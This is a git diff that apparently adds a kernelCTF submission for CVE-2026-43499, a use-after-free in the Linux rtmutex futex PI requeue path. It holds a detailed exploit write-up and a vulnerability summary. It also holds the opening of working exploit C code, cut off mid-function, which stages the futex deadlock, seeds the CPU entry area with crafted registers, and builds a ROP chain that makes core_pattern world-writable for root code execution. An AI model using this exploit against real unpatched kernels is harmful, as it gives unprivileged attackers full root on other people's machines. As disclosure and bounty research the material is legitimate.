diff --git a/pocs/linux/kernelctf/CVE-2026-43499_lts_cos/docs/exploit.md b/pocs/linux/kernelctf/CVE-2026-43499_lts_cos/docs/exploit.md new file mode 100644 index 000000000..ebd8cc329 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43499_lts_cos/docs/exploit.md @@ -0,0 +1,222 @@ +# Vulnerability + +## Summary + +`remove_waiter()` in `kernel/locking/rtmutex.c` clears `current->pi_blocked_on`. That is correct on the normal slow path, where `current` is the task that owns the waiter. It is wrong on the proxy path. `rt_mutex_start_proxy_lock()` enqueues, and on error rolls back, an `rt_mutex_waiter` on behalf of another task, so `current` is the requeuer rather than the waiter. + +The waiter object lives on the stack of a task sleeping in `FUTEX_WAIT_REQUEUE_PI`. A `FUTEX_CMP_REQUEUE_PI` then proxies that waiter onto the target PI futex. When the rtmutex chain walk reports a deadlock, the rollback dequeues the waiter from the lock but clears `pi_blocked_on` on the requeuer. The waiter task keeps `pi_blocked_on` pointing at its own stack frame, which is popped the moment the waiter returns to userspace. Any later PI chain walk through that task follows the dangling pointer. + +This dangling `rt_mutex_waiter` becomes a single constrained kernel write, and from there a clean LPE on both targets. + +## Vulnerability Analysis + +### BIC + +The bug was introduced with the rtmutex rework in [`8161239a8bcc`](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=8161239a8bcc) ("rtmutex: Simplify PI algorithm and make highest prio task get lock"), and sat untouched for about fifteen years until the April 2026 fix in [`3bfdc63936dd`](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=3bfdc63936dd4773109b7b8c280c0f3b5ae7d349) ("rtmutex: Use waiter::task instead of current in remove_waiter()"). The affected range is `v2.6.39-rc1` to `v7.1-rc1`, with `CONFIG_FUTEX_PI=y` the only requirement and no capabilities or user namespaces needed. + +### Root cause + +Like other life-cycle bugs, this is a helper reused by a caller it was never written for. `remove_waiter()` was written for the self-blocking slow path, where `current` is the waiter, so it has always cleared `current->pi_blocked_on`. Requeue-PI reuses the same helper through `rt_mutex_start_proxy_lock()` on behalf of a sleeping task, where `current` is the requeuer rather than the waiter. + +On the proxy path the wrapper runs the cleanup whenever `__rt_mutex_start_proxy_lock()` fails. In this setup the failure is `-EDEADLK`. + +```c +int __sched rt_mutex_start_proxy_lock(struct rt_mutex_base *lock, + struct rt_mutex_waiter *waiter, + struct task_struct *task) +{ + int ret; + raw_spin_lock_irq(&lock->wait_lock); + ret = __rt_mutex_start_proxy_lock(lock, waiter, task); + if (unlikely(ret)) + remove_waiter(lock, waiter); // ret == -EDEADLK + raw_spin_unlock_irq(&lock->wait_lock); + return ret; +} +``` + +`remove_waiter()` then scrubs the wrong task. + +```c +static void __sched remove_waiter(struct rt_mutex_base *lock, + struct rt_mutex_waiter *waiter) +{ + ... + raw_spin_lock(¤t->pi_lock); + rt_mutex_dequeue(lock, waiter); + current->pi_blocked_on = NULL; // should be waiter->task + raw_spin_unlock(¤t->pi_lock); + ... +} +``` + +`waiter` is the sleeping task's stack object. `current` is whoever called `FUTEX_CMP_REQUEUE_PI`. The fix locks `waiter->task->pi_lock` and clears `waiter->task->pi_blocked_on` instead. The original slips past lockdep, which only checks that a `pi_lock` is held but not whose it is. + +**Forcing the deadlock.** Reaching the `-EDEADLK` rollback needs a PI dependency cycle built from three futex words and three threads. + +- `f_pi_chain`, a PI futex, locked first by the **waiter** thread. +- `f_pi_target`, a PI futex, locked first by the **owner** thread. This is the requeue target. +- `f_wait`, the plain futex the waiter blocks on with `FUTEX_WAIT_REQUEUE_PI`. + +The sequence is: + +1. The waiter takes `f_pi_chain`, then blocks in `FUTEX_WAIT_REQUEUE_PI(f_wait -> f_pi_target)`. Its `rt_mutex_waiter` is now on its stack. +2. The owner takes `f_pi_target`, then blocks on `f_pi_chain`, which the waiter holds. +3. The main thread calls `FUTEX_CMP_REQUEUE_PI(f_wait -> f_pi_target)`. + +The requeue tries to proxy the waiter onto `f_pi_target`. The owner of `f_pi_target` is already blocked behind the waiter through `f_pi_chain`, so the chain walk closes the loop `waiter -> f_pi_target -> owner -> f_pi_chain -> waiter`. It returns `-EDEADLK` and takes the buggy rollback. The waiter wakes with a dangling `pi_blocked_on`. + +Here the only ordering that matters is the requeuer rolling back the waiter while the waiter still owns the soon-to-be-freed object, and once the cycle is staged that happens on its own. After it resolves there is no time pressure at all. The waiter sits in userspace with a dangling `pi_blocked_on`, and the follow-up `sched_setattr()` that walks the chain can fire whenever it likes. The UAF window is wide open. + +The catch is where the freed object live on the kernel stack (stack-UAF if we call `ret` out of the futex syscall a "free"). To reclaiming it, we need find a syscall than can land controlled bytes back on the same stack at the same depth (offset). + +> [guysrd](https://guysrd.github.io/rtmutex) analysed the same bug from the public patch and reached a controlled `#GP` with attacker bytes in the saved registers, but concluded it needs a separate infoleak to go further. The prefetch and physmap leaks below are exactly that. + +# Exploit + +Both submissions, COS `6.6.122` and LTS `6.12.80`, use the same plan (only the final gadgets differs). + +## Exploit Summary + +- **prefetch** -> Leak the kernel image slide and the physmap base. +- **CVE-2026-43499** -> Leave a dangling `rt_mutex_waiter` in the waiter task's `pi_blocked_on`. +- **(stack-)UAF Reclaim** -> Use `PR_SET_MM_MAP` to reclaim the waiter's own kernel stack and forge a fake `rt_mutex_waiter` over the freed frame. +- **Arb address writer** -> Rtmutex rb-tree erase: one constrained pointer write (which we can reclaim it's content), overwrite struct which contains a function table: `inet6_protos[IPPROTO_UDP] = `. +- **CPU entry area** -> Host {fake `inet6_protocol`, pivot slots, ROP stack} all together at a known direct-map address. +- **Trigger CFH** -> Trigger a loopback IPv6 UDP packet calls through the overwritten handler and pivots. +- **DirtyMode** -> One write flips `core_pattern`'s mode bits, then the rest LPE is pure userspace. + +## Exploit Details + +### Leaking KASLR and the physmap + +The kernel `.text` slide and the physmap offsets are form prefetch probe (KernelXDK and `physmap_leak.cpp`): the usual [EntryBleed](https://www.willsroot.io/2022/12/entrybleed.html)-style sliding window, plus candidate-edge normalization and a check against the predicted CEA page to reject neighbouring aliases. The direct-map leak is noisier than the text one. + +``` +cea_direct = physmap_base + OFF_CPU1_CEA_PT_REGS_BASE +``` + +`OFF_CPU1_CEA_PT_REGS_BASE` is the offset of CPU1's exception-stack saved-register area. It is fixed per memory layout (size) and hardcoded per target. + +> The virtual address of the CPU entry area is never needed, although newer 6.2+ kernels randomize it, the CEA's physical offset is fixed, so its direct-map alias follows from the physmap base (Same observation [@kqx](https://kqx.io/writeups/zenerational/) used for `cpu_entry_area`, also [here](https://frankoverflow.com/2025/10/05/2025cor/)). + +### Triggering the bug + +Staging the three-futex cycle leaves the waiter task in userspace with `pi_blocked_on` dangling into its old `FUTEX_WAIT_REQUEUE_PI` frame. Everything below rides on that one pointer. + +### Reusing the stack: forging the waiter with `PR_SET_MM_MAP` + +The dangling object is the waiter's own stack `rt_mutex_waiter`. + +```c +struct rt_mutex_waiter { + struct rt_waiter_node tree; // rb node, lives in lock->waiters + struct rt_waiter_node pi_tree; + struct task_struct *task; + struct rt_mutex_base *lock; + unsigned int wake_state; + struct ww_acquire_ctx *ww_ctx; +}; +``` + +Controlled bytes have to land back over that exact frame, on the waiter thread's own stack, and stay there long enough to be read. The waiter thread returns from the futex syscall and immediately calls `prctl(PR_SET_MM, PR_SET_MM_MAP, ...)`. Inside, `prctl_set_mm_map()` copies a user-supplied auxv into a fixed-size `unsigned long user_auxv[AT_VECTOR_SIZE]` stack buffer. That buffer sits at roughly the same stack depth as the freed waiter, so it is a large, naturally-aligned, namespace-free block of controlled qwords landing right on top of the old object. + +The auxv is laid out so the overlapping qwords become: + +- `tree`, an rb node shaped so erasing it promotes one chosen child pointer (`W0_BASE`, below) into the tree root. +- `task`, set to `&init_task`, a valid `task_struct` so the chain walk's task derefs are safe. +- `lock`, set to `&inet6_protos[IPPROTO_UDP] - 8`, the write target. +- `wake_state`, set to `0`. + +The auxv is backed by a memfd and positioned so the copy straddles a page boundary. A sibling thread races `fallocate(PUNCH_HOLE)` on the trailing page during the `prctl`, which stretches the `copy_from_user` window. The forged waiter stays live on the stack while, on another CPU, a consumer thread fires `sched_setattr()` on the waiter to walk the PI chain. The race is cross-CPU but wide. +Though we used two cores, we believe this bug is also exploitable on a single-core CPU. + +> `clone`/`clone3` and other syscalls with large controlled stack locals work the same way. `PR_SET_MM_MAP` is just convenient here. The buffer is large, aligned, and needs no namespace. + +### From fake waiter to one controlled (limited) write + +Controlling the waiter does not give an arbitrary write. The chain walk only does: + +``` +task->pi_blocked_on -> fake waiter +fake waiter->lock -> fake rt_mutex_base +rt_mutex_dequeue(lock, waiter) // rb_erase on lock->waiters +``` + +`rt_mutex_dequeue()` is an rb-tree erase, and erasing a single-child root writes that child into the root slot. Pointing `lock` at `target - 8` lines the `rt_mutex_base` fields up over the data around the target pointer. + +``` +target - 8 -> raw_spinlock_t wait_lock (must read as "unlocked") +target -> waiters.rb_root.rb_node (this slot gets written) +target + 8 -> waiters.rb_leftmost +target + 16 -> owner +``` + +The fake waiter's rb node is shaped so the erase writes exactly one child pointer into `rb_root.rb_node`. **The write primitive itself is a single constrained store: `*(uint64_t *)target = W0_BASE`.** + +**The constraints are also highly strict**: The qword before the target must read as an unlocked spinlock, meaning zero in the low 4 bytes, or the trylock fails and the walk exits without writing. The qwords after it (`rb_leftmost`, `owner`) must not steer the walk into an uncontrolled top waiter or owner. An unmapped value there faults and panics the box. So the table has to be picked, not just located. + +`W0_BASE` has to point at something that stays valid through the comparisons and the no-owner wakeup that follow in the same `rt_mutex_adjust_prio_chain()`. The direct-map alias of the CPU entry area is used for it. Before the trigger, that page (`W0`) is seeded with a self-consistent fake waiter and lock pair: `task = &init_task`, a sane `prio`, and a `lock` whose `wait_lock` reads unlocked and whose owner is benign, so the dequeue, the re-enqueue, the priority update and the wakeup all survive. Seeding is done by entering an exception (`divq` on a bad address) with a crafted register frame. The entry code spills those registers into the CEA, and the same bytes show up through the direct-map alias. The consumer thread re-seeds in a loop right up to the trigger, because interrupts on that CPU keep clobbering the exception stack. + +### Use `inet6_protos[IPPROTO_UDP]` to help +Start from now the exploit path would differ from tagets, as of regular x86_64 Linux kernel, we can pick a shorter path by just overwrite some function table (or any object that contains one), as we already have KASLR leaked and ready to get a CFH. + +A scan of writable data turns up many pointer tables whose neighbours satisfy the layout above. `inet6_protos[IPPROTO_UDP]` is a nice one. The neighbours fall out for free, and the trigger is a trivial unprivileged loopback packet. + +``` +inet6_protos[16] == NULL // fake wait_lock -> unlocked +inet6_protos[17] == &udpv6_protocol // <- target (IPPROTO_UDP) +inet6_protos[18] == NULL // fake rb_leftmost +inet6_protos[19] == NULL // fake owner +``` + +After the write, `inet6_protos[IPPROTO_UDP]` points into the CEA page, where the kernel expects an `inet6_protocol`. + +```c +struct inet6_protocol { + int (*handler)(struct sk_buff *skb); + int (*err_handler)(...); + unsigned int flags; +}; +``` + +So `W0` is re-seeded as a fake one. `handler` is the first pivot gadget, `err_handler` is unused, and `flags` is `INET6_PROTO_NOPOLICY | INET6_PROTO_FINAL`. A loopback IPv6 UDP send (`connect` then `write` to `::1`) dispatches to `handler`, and that is the program counter. + +### The pivot and DirtyMode + +The same compact CEA window holds {the fake `inet6_protocol`, a few JOP/pivot slots, the final ROP stack}. On **COS** the callback gadget loads `rdi`/`rsi` and an indirect target from the fake object and pivots with `push rdi; pop rsp; ret`. On **LTS** the chain takes one extra load/call to land the CEA address in `rbp`, then pivots with `mov rsp, rbp; pop rbp; ret`. + +That leaves a very small final ROP budget. A `ret2usr` or a full `/proc/%P/fd/x` overwrite would run to around ten gadget qwords, which is too long. So the finish is **DirtyMode**: a single write, with an almost-garbage value, that flips a permission bit. After it, everything happens in userspace. + +The target is the `core_pattern` sysctl's mode. + +```c +static struct ctl_table coredump_sysctls[] = { + ... + { .procname = "core_pattern", + .data = core_pattern, + .maxlen = CORENAME_MAX_SIZE, + .mode = 0644, + .proc_handler = proc_dostring_coredump }, + ... +}; +``` + +`coredump_sysctls` lives in writable kernel data under the image slide. The ROP writes a permissive value to `coredump_sysctls[1].mode`. Any value with the write bit (2nd LSB) set is enough. It uses a short `pop reg; mov [reg], reg; ret` plus an `msleep` to park the hijacked thread safely. `/proc/sys/kernel/core_pattern` is now world-writable, so an unprivileged process opens it, writes `|/proc/%P/fd/666 %P`, and crashes a helper. The kernel runs the supplied binary as root, which reads the flag. + +The initial write primitive (the rb-tree write) cannot reach `coredump_sysctls[1].mode` directly because of where it lands, so the mode flip is done from the short ROP stage. + +>While preparing this, we found that [@sysroot](https://github.com/google/security-research/pull/357) had independently used the same `core_pattern` mode overwrite about a week earlier. + +## Additional Notes +### bigger ROP or NPerm + +The driver here is time, not capability. kCTF is a race, and the shortest reliable chain wins. [NPerm](https://github.com/google/security-research/pull/268)-backed memory makes a fine large fake stack after the hijack, and there are heavier routes that would also work, including [Lukas Maar's heap-KASLR leak](https://lukasmaar.github.io/posts/heap-kaslr-leak/index.html) for the leak stage. Each adds another stage and more wobble. CEA plus DirtyMode is the shortest path to a one-write win, and on the remote it landed in about 5 seconds. + +### Mitigations +#### RANDOMIZE_KSTACK_OFFSET + +The stack-reuse step relies on the freed waiter frame and the later `user_auxv` frame overlapping deterministically. With `RANDOMIZE_KSTACK_OFFSET` on they no longer do, and the step becomes a roughly 1/32 (5-bit) stack-offset guess. Both submitted targets leave it off by default. The mitigation target turns it on, so this path was not used there. + +#### STATIC_USERMODE_HELPER +`STATIC_USERMODE_HELPER` would close this particular DirtyMode path. The same idea generalizes to any `/proc/sys` knob whose `ctl_table::mode` gates access and whose table sits in predictable writable kernel data. \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-43499_lts_cos/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2026-43499_lts_cos/docs/vulnerability.md new file mode 100644 index 000000000..e3d2468dd --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43499_lts_cos/docs/vulnerability.md @@ -0,0 +1,13 @@ +# Vulnerability Details + +- **Requirements**: + - **Capabilities**: None + - **Kernel configuration**: `CONFIG_FUTEX_PI=y` + - **User namespaces required**: No +- **Introduced by**: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=8161239a8bcc +- **Fixed by**: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=3bfdc63936dd4773109b7b8c280c0f3b5ae7d349 +- **Affected Version**: `v2.6.39-rc1 - v7.1-rc1` +- **Affected Component**: `kernel/locking/rtmutex.c`, futex PI requeue rollback path +- **Syscall to disable**: `futex` +- **Cause**: Use-After-Free / dangling pointer +- **Description**: A Use-After-Free vulnerability was discovered in the Linux kernel's rtmutex priority inheritance logic. When `futex_requeue()` uses the proxy-lock path and `rt_mutex_start_proxy_lock()` has to roll back a waiter whose `waiter->task` is not `current`, the old `remove_waiter()` implementation updates `current->pi_lock` and `current->pi_blocked_on` instead of the real waiter task. This leaves a stale waiter in the target task's `pi_blocked_on` state. Later priority changes, for example through `sched_setattr()` on that task, can make rtmutex priority-chain adjustment follow this dangling waiter and crash or corrupt control flow. diff --git a/pocs/linux/kernelctf/CVE-2026-43499_lts_cos/exploit/cos-121-18867.381.56/Makefile b/pocs/linux/kernelctf/CVE-2026-43499_lts_cos/exploit/cos-121-18867.381.56/Makefile new file mode 100644 index 000000000..f894eb7fd --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43499_lts_cos/exploit/cos-121-18867.381.56/Makefile @@ -0,0 +1,36 @@ +CXX ?= g++ +CPPFLAGS ?= -Ikernel-research/libxdk/include +CXXFLAGS ?= -std=gnu++17 -static -O0 +LDFLAGS ?= -static -s -Lkernel-research/libxdk/lib +LDLIBS ?= -lkernelXDK + +TARGETS := exploit exploit_debug +SRC := exploit.c physmap_leak.cpp + +.PHONY: all prerequisites run clean + +all: prerequisites exploit + +prerequisites: target_db.kxdb kernel-research/libxdk/lib/libkernelXDK.a + +target_db.kxdb: + wget -O $@ https://storage.googleapis.com/kernelxdk/db/kernelctf.kxdb + +kernel-research: + git clone --depth 1 https://github.com/google/kernel-research.git $@ + +kernel-research/libxdk/lib/libkernelXDK.a: | kernel-research + cd kernel-research/libxdk && ./build.sh + +exploit: prerequisites $(SRC) + $(CXX) $(CPPFLAGS) $(CXXFLAGS) $(SRC) -o $@ $(LDFLAGS) $(LDLIBS) + +exploit_debug: CXXFLAGS += -g +exploit_debug: prerequisites $(SRC) + $(CXX) $(CPPFLAGS) $(CXXFLAGS) $(SRC) -o $@ $(LDFLAGS) $(LDLIBS) + +run: exploit + ./$< + +clean: + rm -rf $(TARGETS) target_db.kxdb kernel-research diff --git a/pocs/linux/kernelctf/CVE-2026-43499_lts_cos/exploit/cos-121-18867.381.56/exploit b/pocs/linux/kernelctf/CVE-2026-43499_lts_cos/exploit/cos-121-18867.381.56/exploit new file mode 100644 index 000000000..62e343f54 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-43499_lts_cos/exploit/cos-121-18867.381.56/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2026-43499_lts_cos/exploit/cos-121-18867.381.56/exploit.c b/pocs/linux/kernelctf/CVE-2026-43499_lts_cos/exploit/cos-121-18867.381.56/exploit.c new file mode 100644 index 000000000..2a335825a --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43499_lts_cos/exploit/cos-121-18867.381.56/exploit.c @@ -0,0 +1,939 @@ +#ifndef _GNU_SOURCE +#define _GNU_SOURCE +#endif + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include + +#include "physmap_leak.h" + +#define memory_order_acquire __ATOMIC_ACQUIRE +#define memory_order_release __ATOMIC_RELEASE + +static inline int atomic_load_explicit(int *p, int order) +{ + return __atomic_load_n(p, order); +} + +static inline void atomic_store_explicit(int *p, int value, int order) +{ + __atomic_store_n(p, value, order); +} + +static inline int atomic_fetch_add_explicit(int *p, int value, int order) +{ + return __atomic_fetch_add(p, value, order); +} + +INCBIN(target_db, "target_db.kxdb"); + +#define ENABLE_STAGE2 1 +#define CFH_ONLY 1 +#define KCTF_POLICY_TOGGLE_CONSUMER 1 +#define KCTF_PREBATCH_WAITER 0 +#define CFH_DEDICATED_W0_SEEDER 1 + +#ifndef SCHED_BATCH +#define SCHED_BATCH 3 +#endif + +#ifndef CFH_CONSUME_DELAY_US +#define CFH_CONSUME_DELAY_US 0 +#endif + +#ifndef CFH_READY_SEED_REPS +#define CFH_READY_SEED_REPS 1 +#endif + +#define SYSCHK(x) \ + ({ \ + typeof(x) __res = (x); \ + if (__res == (typeof(x))-1) \ + err(1, "SYSCHK(" #x ")"); \ + __res; \ + }) + +#define CHECK_ZERO(x) \ + ({ \ + int __res = (x); \ + if (__res) \ + errx(1, "CHECK_ZERO(" #x "): %d", \ + __res); \ + __res; \ + }) + +#define KERNEL_BASE 0xffffffff81000000ULL +#define STATIC_TARGET_RELEASE "cos-121-18867.381.56" +#define STATIC_TARGET_VERSION "Linux version 6.6.122+ (runner@runnervm727z3) (gcc (Ubuntu 13.3.0-6ubuntu2~24.04.1) 13.3.0, GNU ld (GNU Binutils for Ubuntu) 2.42) #1 SMP Sat Apr 4 12:23:54 UTC 2026" +#define STATIC_TARGET_KERNEL_PAGE_COUNT 34 + +#define OFF_CPU1_CEA_PT_REGS_BASE 0x11c518f58ULL + +uint64_t pc_0; // mov rax, [r15+0x68]; mov rdi, [r15+0x58]; mov rsi, [r15+0x10]; mov rax, [rax+0x18]; call rax; +uint64_t pc_1; // push rdi; pop rsp; ret; +uint64_t write_2; // mov [rsi], edi; ret +uint64_t pop_rsi_rdi; // pop rsi; pop rdi; ret + +uint64_t core_pattern_mode; // &coredump_sysctls[1].mode +uint64_t msleep; // msleep(unsigned int msecs) + +uint64_t target_inet6_udp; +uint64_t init_task; + +uint64_t cpu1_cea_pt_regs_base; + +static void add_static_target(TargetDb &kxdb) +{ + Target target("kernelctf", STATIC_TARGET_RELEASE, STATIC_TARGET_VERSION); + + target.SetKernelPageCount(STATIC_TARGET_KERNEL_PAGE_COUNT); + target.AddSymbol("cea_pc_0", 0x56b699ULL); + target.AddSymbol("cea_pc_1", 0x4d4e1eULL); + target.AddSymbol("write_2", 0x1182fcaULL); + target.AddSymbol("pop_rsi_rdi", 0xcd0011ULL); + target.AddSymbol("core_pattern_mode", 0x2fb31d4ULL); + target.AddSymbol("msleep", 0x27a4c0ULL); + target.AddSymbol("target_inet6_udp", 0x31ab7a8ULL); + target.AddSymbol("init_task", 0x2e0c940ULL); + kxdb.AddTarget(target); +} + +static void resolve_target_offsets(Target &target) +{ + pc_0 = KERNEL_BASE + target.GetSymbolOffset("cea_pc_0"); + pc_1 = KERNEL_BASE + target.GetSymbolOffset("cea_pc_1"); + write_2 = KERNEL_BASE + target.GetSymbolOffset("write_2"); + pop_rsi_rdi = KERNEL_BASE + target.GetSymbolOffset("pop_rsi_rdi"); + core_pattern_mode = KERNEL_BASE + target.GetSymbolOffset("core_pattern_mode"); + msleep = KERNEL_BASE + target.GetSymbolOffset("msleep"); + target_inet6_udp = KERNEL_BASE + target.GetSymbolOffset("target_inet6_udp"); + init_task = KERNEL_BASE + target.GetSymbolOffset("init_task"); + cpu1_cea_pt_regs_base = OFF_CPU1_CEA_PT_REGS_BASE; +} + +static Target init_target_offsets(void) +{ + try { + static TargetDb kxdb("target_db.kxdb", target_db); + add_static_target(kxdb); + Target target = kxdb.AutoDetectTarget(); + + resolve_target_offsets(target); + printf("[.] Target: %s %s\n", target.GetDistro().c_str(), + target.GetReleaseName().c_str()); + return target; + } catch (const std::exception &e) { + fprintf(stderr, "[-] kernelXDK failed: %s\n", e.what()); + exit(1); + } +} + +void leak_kernel_addresses() +{ + Target target = init_target_offsets(); + // uint64_t slide = 0; + // uint64_t phys_map = 0xffff888000000000ULL; + uint64_t base = leak_kaslr_base(target.GetKernelPageCount(), 100, 3); + printf("[.] KASLR window size: %llu pages\n", + (unsigned long long)target.GetKernelPageCount()); + printf("[!] Leaked KASLR base: 0x%lx\n", base); + uint64_t slide = base - KERNEL_BASE; + printf("[!] KASLR slide: 0x%lx\n", slide); + uint64_t phys_map = leak_phys_map_base(11); + printf("[+] KASLR slide: 0x%lx\n", slide); + printf("[+] Leaked phys map base: 0x%lx\n", phys_map); + pc_0 += slide; + pc_1 += slide; + write_2 += slide; + pop_rsi_rdi += slide; + core_pattern_mode += slide; + msleep += slide; + target_inet6_udp += slide; + init_task += slide; + + cpu1_cea_pt_regs_base += phys_map; +} + +#define INET6_UDP_ROOT (target_inet6_udp - 0x8ULL) +#define W0_BASE cpu1_cea_pt_regs_base +#define L_BASE (W0_BASE + 0x30ULL) +#define MAGIC_OWNER (pc_0 - 0x28ULL) + +#define WAITER_CPU 0 +#define OWNER_CPU 0 +#define CONSUMER_CPU 1 +#define STAGE2_CPU 1 + +#define WAIT_TIMEOUT_SEC 1 +#define ENTRY_SEED_REPS 2 +#define STAMP_ITERS 1 +#define W0_PRIO 138 +#define SHMEM_LEN (1 * 1024 * 1024) +#define SHMEM_PRCTL_DELAY_US 4000 +#define MMAP_ADDR ((void *)0xdead10000) +#define THREAD_STACK_SIZE (1024 * 1024) + +struct sched_attr_local { + uint32_t size; + uint32_t sched_policy; + uint64_t sched_flags; + int32_t sched_nice; + uint32_t sched_priority; + uint64_t sched_runtime; + uint64_t sched_deadline; + uint64_t sched_period; + uint32_t sched_util_min; + uint32_t sched_util_max; +}; + +struct cea_regs15_payload { + uint64_t r15; + uint64_t r14; + uint64_t r13; + uint64_t r12; + uint64_t rbp; + uint64_t rbx; + uint64_t r11; + uint64_t r10; + uint64_t r9; + uint64_t r8; + uint64_t rax; + uint64_t rcx; + uint64_t rdx; + uint64_t rsi; + uint64_t rdi; +}; + +uint32_t f_wait __attribute__((aligned(4))); +uint32_t f_pi_target __attribute__((aligned(4))); +uint32_t f_pi_chain __attribute__((aligned(4))); + +int a_ready; +int a_tid; +int a_wait_started; +int b_started; +int deadlock_seen; +int consume_request; +int consume_done; +int shmem_punch_go; +int shmem_prctl_ready; +int shmem_prctl_done; +int stage1_seed_stop; +int stage1_seed_epoch; + +__thread sigjmp_buf cea_seed_env; +__thread int cea_seed_active; + +int shmem_fd = -1; +unsigned char *shmem_map; +size_t page_size; + +void pin_self_cpu(int cpu) { + cpu_set_t set; + + CPU_ZERO(&set); + CPU_SET(cpu, &set); + SYSCHK(sched_setaffinity(0, sizeof(set), &set)); +} + +int futex_lock_pi(uint32_t *uaddr) { + return syscall(SYS_futex, uaddr, FUTEX_LOCK_PI, 0, NULL, NULL, 0); +} + +int futex_wait_requeue_pi(uint32_t *uaddr, uint32_t *uaddr2, + const struct timespec *timeout) { + return syscall(SYS_futex, uaddr, FUTEX_WAIT_REQUEUE_PI, 0, timeout, uaddr2, 0); +} + +int futex_cmp_requeue_pi(uint32_t *uaddr, uint32_t *uaddr2) { + return syscall(SYS_futex, uaddr, FUTEX_CMP_REQUEUE_PI, 1, 1, uaddr2, 0); +} + +void futex_wait_atomic(int *uaddr, int val) { + syscall(SYS_futex, (int *)uaddr, FUTEX_WAIT, val, NULL, NULL, 0); +} + +void futex_wake_atomic(int *uaddr) { + syscall(SYS_futex, (int *)uaddr, FUTEX_WAKE, 1, NULL, NULL, 0); +} + +void set_self_policy_batch(void) { + struct sched_attr_local attr; + + memset(&attr, 0, sizeof(attr)); + attr.size = sizeof(attr); + attr.sched_policy = SCHED_BATCH; + attr.sched_nice = 19; + syscall(SYS_sched_setattr, 0, &attr, 0); +} + +void cea_seed_signal(int sig) { + if (cea_seed_active) { + siglongjmp(cea_seed_env, sig); + } + _exit(128 + sig); +} + +void install_cea_seed_handlers() { + struct sigaction sa; + + memset(&sa, 0, sizeof(sa)); + sa.sa_handler = cea_seed_signal; + sa.sa_flags = SA_NODEFER; + CHECK_ZERO(sigemptyset(&sa.sa_mask)); + SYSCHK(sigaction(SIGFPE, &sa, NULL)); + SYSCHK(sigaction(SIGSEGV, &sa, NULL)); + SYSCHK(sigaction(SIGTRAP, &sa, NULL)); +} + +__attribute__((noreturn)) +void write_cpu_entry_area(const struct cea_regs15_payload *p) { + asm volatile( + "mov %[payload], %%rsp\n\t" + "pop %%r15\n\t" + "pop %%r14\n\t" + "pop %%r13\n\t" + "pop %%r12\n\t" + "pop %%rbp\n\t" + "pop %%rbx\n\t" + "pop %%r11\n\t" + "pop %%r10\n\t" + "pop %%r9\n\t" + "pop %%r8\n\t" + "pop %%rax\n\t" + "pop %%rcx\n\t" + "pop %%rdx\n\t" + "pop %%rsi\n\t" + "pop %%rdi\n\t" + "xor %%rax, %%rax\n\t" + "divq (0x1234000)\n\t" + : + : [payload] "r"(p) + : "memory"); + __builtin_unreachable(); +} + +void seed_entry_stack_w0() { + struct cea_regs15_payload p; + + memset(&p, 0, sizeof(p)); + p.r15 = 1ULL; + p.r14 = 0ULL; + p.r13 = 0ULL; + p.r12 = W0_PRIO; + p.rbp = 0ULL; + p.rbx = W0_BASE + 0x28ULL; + p.r11 = 0ULL; + p.r10 = W0_BASE; + p.r9 = W0_BASE; + p.r8 = MAGIC_OWNER; + p.rax = init_task; + p.rcx = L_BASE; + + for (int rep = 0; rep < ENTRY_SEED_REPS; rep++) { + cea_seed_active = 1; + if (sigsetjmp(cea_seed_env, 1) == 0) { + write_cpu_entry_area(&p); + } + cea_seed_active = 0; + } +} + + +// pc0 0xffffffff8156b699: mov rax, [r15+0x68]; mov rdi, [r15+0x58]; mov rsi, [r15+0x10]; mov rax, [rax+0x18]; call rax; +// 0xffffffff814d4e1e: push rdi; pop rsp; ret; + +// 0xffffffff81cd0011: pop rsi; pop rdi; ret; +// 0xffffffff82182fca: mov [rsi], edi; ret; +// +// 0 pc0 +// 8 0 | UDP6_ERR_HANDLER +// 10 (rsi_0) 3 (INET6_PROTO_NOPOLICY | INET6_PROTO_FINAL) +// 18 pop_rsi_rdi +// 20 core_pattern_mode +// 28 0x70001b6 +// 30 msleep +// 38 +// 40 +// 48 +// 50 +// 58 rdi_0 = 0x18 (rsp) +// 60 pc_1 +// 68 rax_0 -> 60-0x18 (pc_1) +// 70 ? + +void seed_entry_stack_stage2() +{ + struct cea_regs15_payload p; + uint64_t *cea_rop = (uint64_t *)&p; + int idx = 0; + + cea_rop[idx++] = pc_0; + cea_rop[idx++] = 0; // UDP6_ERR_HANDLER; + cea_rop[idx++] = 3; // INET6_PROTO_NOPOLICY | INET6_PROTO_FINAL; + + cea_rop[idx++] = pop_rsi_rdi; // 18 + cea_rop[idx++] = core_pattern_mode; // 20 + cea_rop[idx++] = 0x70001b6; // oct(0x1b6) = 0o666 // 28 + cea_rop[idx++] = write_2; // 30 + cea_rop[idx++] = msleep; // 38 + cea_rop[idx++] = 0x4809099fdeadbeefULL; // 40 + cea_rop[idx++] = 0x5809099fdeadbeefULL; // 48 + cea_rop[idx++] = 0x6809099fdeadbeefULL; // 50 + cea_rop[idx++] = cpu1_cea_pt_regs_base + 0x18; // 58 rdi_0 = 0x18 (rsp) + cea_rop[idx++] = pc_1; // 60 + cea_rop[idx++] = cpu1_cea_pt_regs_base + 0x60 - 0x18; // 68 rax_0 -> 60-0x18 (pc_1) + cea_rop[idx++] = 0x2809099fdeadbeefULL; + + cea_seed_active = 1; + if (sigsetjmp(cea_seed_env, 1) == 0) { + write_cpu_entry_area(&p); + } + cea_seed_active = 0; +} + + +int read_prctl_mm_map(struct prctl_mm_map *map) { + unsigned int sz = 0; + + SYSCHK(prctl(PR_SET_MM, PR_SET_MM_MAP_SIZE, &sz, 0, 0)); + if (sz != sizeof(*map)) { + errno = EINVAL; + return -1; + } + + memset(map, 0, sizeof(*map)); + map->start_code = (unsigned 